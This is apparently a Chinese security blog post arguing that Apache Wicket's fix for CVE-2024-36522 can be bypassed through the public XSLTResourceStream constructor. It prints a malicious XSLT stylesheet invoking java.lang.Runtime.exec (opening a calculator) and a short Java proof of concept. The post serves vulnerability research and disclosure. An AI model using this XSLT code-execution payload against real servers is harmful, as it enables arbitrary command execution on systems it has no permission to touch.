Apache Wicket代码执行(官方认为是正常功能)

0x01 漏洞描述

​ Apache Wicket是一个Java 语言的Web开发框架。2024年6月,官方发布 9.18.0 与 10.1.0 版本 修复CVE-2024-36522 Apache Wicket XSLT 代码执行漏洞。攻击者可构造恶意请求执行任意代码,控制服务器。但是在 9.18.0 与 10.1.0 版本仍可以进行XSLT 代码执行。

0x02 漏洞分析

org.apache.wicket.util.resource.XSLTResourceStream#XSLTResourceStream(org.apache.wicket.util.resource.IResourceStream, org.apache.wicket.util.resource.IResourceStream)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public XSLTResourceStream(IResourceStream xsltResource, IResourceStream xmlResource) {
this(xsltResource, xmlResource, defaultTransformerFactory());
}

private static TransformerFactory defaultTransformerFactory() {
TransformerFactory factory = TransformerFactory.newInstance();

try {
factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
return factory;
} catch (TransformerConfigurationException var2) {
TransformerConfigurationException e = var2;
throw new RuntimeException(e);
}
}

这个可以看见9.18.0 与 10.1.0 版本修复方案是写了一个defaultTransformerFactory,启用安全处理特性,防止解析不安全的扩展函数。

这里可以看见调用 this(xsltResource, xmlResource, defaultTransformerFactory()), 里面继续调用TransformerFactory factory = TransformerFactory.newInstance();但是他是一个public方法,我们可以控制transformerFactory,导致9.18.0 与 10.1.0 版本中的defaultTransformerFactory失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public abstract class TransformerFactory {

protected TransformerFactory() { }

public static TransformerFactory newDefaultInstance() {
return new TransformerFactoryImpl();
}

public static TransformerFactory newInstance()
throws TransformerFactoryConfigurationError {

return FactoryFinder.find(
/* The default property name according to the JAXP spec */
TransformerFactory.class,
/* The fallback implementation class name, XSLTC */
"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
}

建议修改为private方法。

0x03 复现

使用 Apache Maven 将您的依赖项更新为修复CVE-2024-36522的版本。

1
2
3
4
5
<dependency>
<groupId>org.apache.wicket</groupId>
<artifactId>wicket-core</artifactId>
<version>10.1.0</version>
</dependency>

或者

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.wicket</groupId>
<artifactId>wicket-core</artifactId>
<version>9.18.0</version>
</dependency>
</dependencies>

新建一个恶意的test.xml

1
2
3
4
5
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>

编写一个poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.unam4;

import org.apache.wicket.util.file.File;
import org.apache.wicket.util.resource.FileResourceStream;
import org.apache.wicket.util.resource.XSLTResourceStream;

import javax.xml.transform.TransformerFactory;


public class Main {
public static void main(String[] args) {
FileResourceStream stream1 = new FileResourceStream(new File("test.xml"));
FileResourceStream stream2 = new FileResourceStream(new File("test.xml"));
TransformerFactory factory = TransformerFactory.newInstance();
new XSLTResourceStream(stream1,stream2,factory);
}
}

运行后成功弹出计算器。

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


Apache Wicket代码执行(官方认为是正常功能)
https://unam4.github.io/2024/08/04/Apache-Wicket代码执行-官方认为是正常功能/
作者
unam4
发布于
2024年8月4日
许可协议